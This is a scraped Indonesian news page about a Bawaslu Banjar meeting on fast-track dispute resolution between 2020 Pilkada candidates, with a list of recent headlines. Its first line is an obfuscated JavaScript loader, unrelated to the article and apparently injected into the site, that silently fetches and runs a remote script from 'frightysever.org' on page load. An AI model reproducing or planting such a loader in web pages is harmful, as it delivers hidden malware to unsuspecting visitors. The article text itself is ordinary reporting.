(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJAR

Bawaslu Banjar Gelar Rakor Penyelesaian Sengketa Acara Cepat


KANALKALIMANTAN.COM, MARTAPURA – Masa kampanye sejak 26 September hingga 5 Desember 2020 bisa menimbulkan gesekan antar peserta. Penyelesaian sengketa acara cepat dianggap sebagai metode dalam menyelesaikan masalah antar peserta pemilihan, sesuai peraturan Bawaslu nomor 2 tahun 2020 tentang tata cara penyelesaian sengketa Pilkada.

Selain mengatur tentang tata cara penyelesaian sengketa antara penyelenggara dengan peserta pemilihan, ada hal baru yang diatur yakni penyelesaian sengketa antar peserta pemilihan dengan metode penyelesaian sengketa acara cepat.

Penyelesaian sengketa acara cepat merupakan domain Panwas Kecamatan yang mana mereka diharapkan mampu menyelesaikan masalah di antara peserta pemilihan pada masa kampanye.

Ramliannoor, Divisi Penyelesaian Sengketa Bawaslu Kabupaten Banjar, saat acara rapat kordinasi penyelesaian sengketa antar peserta, Panwascam bersama stakeholder, Sabtu (7/11/2020), permasalahan penyelesaian sengketa ini adalah Alat Peraga Kampanya (APK).

Diantaranya ada dua kecamatan yakni Kecamatan Paramasan dan Kecamatan Martapura Timur yang melaporkan ke Bawaslu Kabupaten Banjar, tetapi tidak melengkapi berkas administrasi.

“Ada dua kecamatan dalam pengawasan ini tidak melakukan secara administrasi, hanya antar tim pemenangan dan Panwascam, tetapi tidak melakukan pengisian pelaporan secara administrasi,” katanya.

Ia menjelaskan terjadinya hal seperti tidak melaksanakan administrasi kemungkinan ketidaktahuan atau paham tentang penyelesaian sengketa acara cepat.

Dalam acara rapat kordinasi Bawaslu Banjar ini membahas kembali pengertian tugas secara struktural dan materi penjelasan cara penyelesaian acara cepat sengketa antar peserta.

“Hendaknya masalah dapat diselesaikan dengan metode penyelesaian sengketa acara cepat, dan peserta pemilihan sebaiknya tidak menempuh jalur pelanggaran yang berujung pada pemberian sanksi kepada salah satu peserta,” terang Koordinator Divisi Penyelesaian Sengketa Bawaslu Banjar ini.(kanalkalimantan.com/putra)

 

Reporter: Putra
Editor : Bie


Desy Arfianty

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

10 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

11 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

18 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

18 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

22 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

22 jam ago

This website uses cookies.